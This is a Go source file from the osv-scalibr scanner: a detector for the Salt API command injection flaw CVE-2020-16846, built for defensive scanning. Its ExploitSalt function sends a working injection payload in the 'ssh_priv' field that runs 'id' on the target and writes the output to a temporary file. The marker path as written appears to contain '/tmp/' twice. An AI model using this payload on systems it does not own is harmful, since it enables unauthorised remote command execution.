github.com/google/osv-scalibr@v0.4.1/detector/cve/untested/cve202016846/cve202016846.go (about) 1 // Copyright 2025 Google LLC 2 // 3 // Licensed under the Apache License, Version 2.0 (the "License"); 4 // you may not use this file except in compliance with the License. 5 // You may obtain a copy of the License at 6 // 7 // http://www.apache.org/licenses/LICENSE-2.0 8 // 9 // Unless required by applicable law or agreed to in writing, software 10 // distributed under the License is distributed on an "AS IS" BASIS, 11 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 // See the License for the specific language governing permissions and 13 // limitations under the License. 14 15 // Package cve202016846 implements a detector for CVE-2020-16846. 16 // To test this detector locally, run the following commands: 17 // To install a vulnerable version of Salt, run the following commands as root: 18 // python3 -m venv salt_env; source salt_env/bin/activate; 19 // pip install salt==3002; pip install jinja2==3.0.1 20 // 21 // Once installed, run salt-master -d && salt-api -d 22 // 23 // If the proposed method above doesn't work, using the steps in 24 // https://github.com/zomy22/CVE-2020-16846-Saltstack-Salt-API 25 // might be more stable. 26 // However, make sure to add the line "RUN pip install jinja2==3.0.1" 27 // before the ENTRYPOINT line in the Dockerfile. 28 package cve202016846 29 30 import ( 31 "bytes" 32 "context" 33 "encoding/json" 34 "errors" 35 "fmt" 36 "io/fs" 37 "math/rand" 38 "net" 39 "net/http" 40 "os" 41 "strconv" 42 "strings" 43 "time" 44 45 "github.com/google/osv-scalibr/detector" 46 "github.com/google/osv-scalibr/extractor" 47 "github.com/google/osv-scalibr/extractor/filesystem/language/python/wheelegg" 48 scalibrfs "github.com/google/osv-scalibr/fs" 49 "github.com/google/osv-scalibr/inventory" 50 "github.com/google/osv-scalibr/log" 51 "github.com/google/osv-scalibr/packageindex" 52 "github.com/google/osv-scalibr/plugin" 53 54 osvpb "github.com/ossf/osv-schema/bindings/go/osvschema" 55 structpb "google.golang.org/protobuf/types/known/structpb" 56 ) 57 58 type saltPackageNames struct { 59 packageType string 60 name string 61 affectedVersions []string 62 } 63 64 const ( 65 // Name of the detector. 66 Name = "cve/cve-2020-16846" 67 68 saltServerPort = 8000 69 defaultTimeout = 5 * time.Second 70 saltServerIP = "127.0.0.1" 71 ) 72 73 var ( 74 seededRand = rand.New(rand.NewSource(time.Now().UnixNano())) 75 randFilePath = "/tmp/" + randomString(16) 76 saltPackages = []saltPackageNames{ 77 { 78 packageType: "pypi", 79 name: "salt", 80 affectedVersions: []string{ 81 "2015.8.10", 82 "2015.8.13", 83 "2016.3.4", 84 "2016.3.6", 85 "2016.3.8", 86 "2016.11.3", 87 "2016.11.6", 88 "2016.11.10", 89 "2017.7.4", 90 "2017.7.8", 91 "2018.3.5", 92 "2019.2.5", 93 "2019.2.6", 94 "3000.3", 95 "3000.4", 96 "3001.1", 97 "3001.2", 98 "3002", 99 }, 100 }, 101 } 102 ) 103 104 // Detector is a SCALIBR Detector for CVE-2020-16846. 105 type Detector struct{} 106 107 // New returns a detector. 108 func New() detector.Detector { 109 return &Detector{} 110 } 111 112 // Name of the detector. 113 func (Detector) Name() string { return Name } 114 115 // Version of the detector. 116 func (Detector) Version() int { return 0 } 117 118 // Requirements of the detector. 119 func (Detector) Requirements() *plugin.Capabilities { 120 return &plugin.Capabilities{DirectFS: true, RunningSystem: true, OS: plugin.OSLinux} 121 } 122 123 // RequiredExtractors returns an empty list as there are no dependencies. 124 func (Detector) RequiredExtractors() []string { return []string{wheelegg.Name} } 125 126 // DetectedFinding returns generic vulnerability information about what is detected. 127 func (d Detector) DetectedFinding() inventory.Finding { 128 return d.findingForPackage(nil, nil) 129 } 130 131 func (Detector) findingForPackage(dbSpecific *structpb.Struct, pkg *extractor.Package) inventory.Finding { 132 saltPkg := &extractor.Package{ 133 Name: "salt", 134 PURLType: "pypi", 135 } 136 return inventory.Finding{PackageVulns: []*inventory.PackageVuln{{ 137 Package: pkg, 138 Vulnerability: &osvpb.Vulnerability{ 139 Id: "CVE-2020-16846", 140 Summary: "CVE-2020-16846", 141 Details: "CVE-2020-16846", 142 Affected: inventory.PackageToAffected(saltPkg, "3002.1", &osvpb.Severity{ 143 Type: osvpb.Severity_CVSS_V3, 144 Score: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", 145 }), 146 DatabaseSpecific: dbSpecific, 147 }, 148 }}} 149 } 150 151 func findSaltVersions(px *packageindex.PackageIndex) (string, *extractor.Package, []string) { 152 for _, r := range saltPackages { 153 pkg := px.GetSpecific(r.name, r.packageType) 154 for _, p := range pkg { 155 return p.Version, p, r.affectedVersions 156 } 157 } 158 return "", nil, []string{} 159 } 160 161 // Scan checks for the presence of the Salt CVE-2020-16846 vulnerability on the filesystem. 162 func (d Detector) Scan(ctx context.Context, scanRoot *scalibrfs.ScanRoot, px *packageindex.PackageIndex) (inventory.Finding, error) { 163 saltVersion, pkg, affectedVersions := findSaltVersions(px) 164 if saltVersion == "" { 165 log.Debugf("No Salt version found") 166 return inventory.Finding{}, nil 167 } 168 isVulnVersion := false 169 for _, r := range affectedVersions { 170 if strings.Contains(saltVersion, r) { 171 isVulnVersion = true 172 } 173 } 174 175 if !isVulnVersion { 176 log.Infof("Version %q not vuln", saltVersion) 177 return inventory.Finding{}, nil 178 } 179 180 log.Infof("Found Potentially vulnerable Salt version %v", saltVersion) 181 182 if !CheckForCherrypy(ctx, saltServerIP, saltServerPort) { 183 log.Infof("Cherry py not found. Version %q not vulnerable", saltVersion) 184 return inventory.Finding{}, nil 185 } 186 187 if !ExploitSalt(ctx, saltServerIP, saltServerPort) { 188 log.Infof("Version %q not vulnerable", saltVersion) 189 return inventory.Finding{}, nil 190 } 191 192 log.Infof("Exploit successful") 193 194 if !fileExists(scanRoot.FS, randFilePath) { 195 return inventory.Finding{}, nil 196 } 197 198 log.Infof("Version %q is vulnerable", saltVersion) 199 200 err := os.Remove(randFilePath) 201 if err != nil { 202 log.Infof("Error removing file: %v", err) 203 } 204 205 dbSpecific := &structpb.Struct{ 206 Fields: map[string]*structpb.Value{ 207 "extra": {Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("%s %s %s", pkg.Name, pkg.Version, strings.Join(pkg.Locations, ", "))}}, 208 }, 209 } 210 return d.findingForPackage(dbSpecific, pkg), nil 211 } 212 213 // CheckForCherrypy checks for the presence of Cherrypy in the server headers. 214 func CheckForCherrypy(ctx context.Context, saltIP string, saltServerPort int) bool { 215 target := "http://" + net.JoinHostPort(saltIP, strconv.Itoa(saltServerPort)) 216 217 req, err := http.NewRequestWithContext(ctx, http.MethodGet, target, nil) 218 219 if err != nil { 220 log.Infof("Request failed: %v", err) 221 return false 222 } 223 224 client := &http.Client{Timeout: defaultTimeout} 225 resp, err := client.Do(req) 226 227 if err != nil { 228 log.Infof("Request failed: %v", err) 229 return false 230 } 231 232 defer resp.Body.Close() 233 234 serverHeader := resp.Header.Get("Server") 235 return strings.Contains(serverHeader, "CherryPy") 236 } 237 238 // ExploitSalt attempts to exploit the Salt server if vulnerable. 239 func ExploitSalt(ctx context.Context, saltIP string, saltServerPort int) bool { 240 target := fmt.Sprintf("http://%s/run", net.JoinHostPort(saltIP, strconv.Itoa(saltServerPort))) 241 data := map[string]any{ 242 "client": "ssh", 243 "tgt": "*", 244 "fun": "B", 245 "eauth": "C", 246 "ssh_priv": fmt.Sprintf("| (id>/tmp/%s) & #", randFilePath), 247 } 248 249 jsonData, err := json.Marshal(data) 250 if err != nil { 251 log.Infof("Error marshaling JSON: %v", err) 252 return false 253 } 254 ctx, cancel := context.WithTimeout(ctx, defaultTimeout) 255 defer cancel() 256 257 req, err := http.NewRequestWithContext(ctx, http.MethodPost, target, bytes.NewBuffer(jsonData)) 258 if err != nil { 259 log.Infof("Error creating request: %v\n", err) 260 return false 261 } 262 req.Header.Set("Content-Type", "application/json") 263 264 client := &http.Client{} 265 resp, err := client.Do(req) 266 if err != nil { 267 if errors.Is(err, context.DeadlineExceeded) { 268 log.Infof("Request needs to timeout. POST request hangs up otherwise") 269 return true 270 } 271 log.Infof("Error sending request: %v\n", err) 272 return false 273 } 274 defer resp.Body.Close() 275 276 if resp.StatusCode < 200 || resp.StatusCode >= 300 { 277 log.Infof("Unexpected status code: %d\n", resp.StatusCode) 278 return false 279 } 280 281 return true 282 } 283 284 func fileExists(filesys scalibrfs.FS, path string) bool { 285 _, err := fs.Stat(filesys, path) 286 return !os.IsNotExist(err) 287 } 288 289 func randomString(length int) string { 290 charSet := "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ" 291 b := make([]byte, length) 292 for i := range b { 293 b[i] = charSet[seededRand.Intn(len(charSet)-1)] 294 } 295 return string(b) 296 }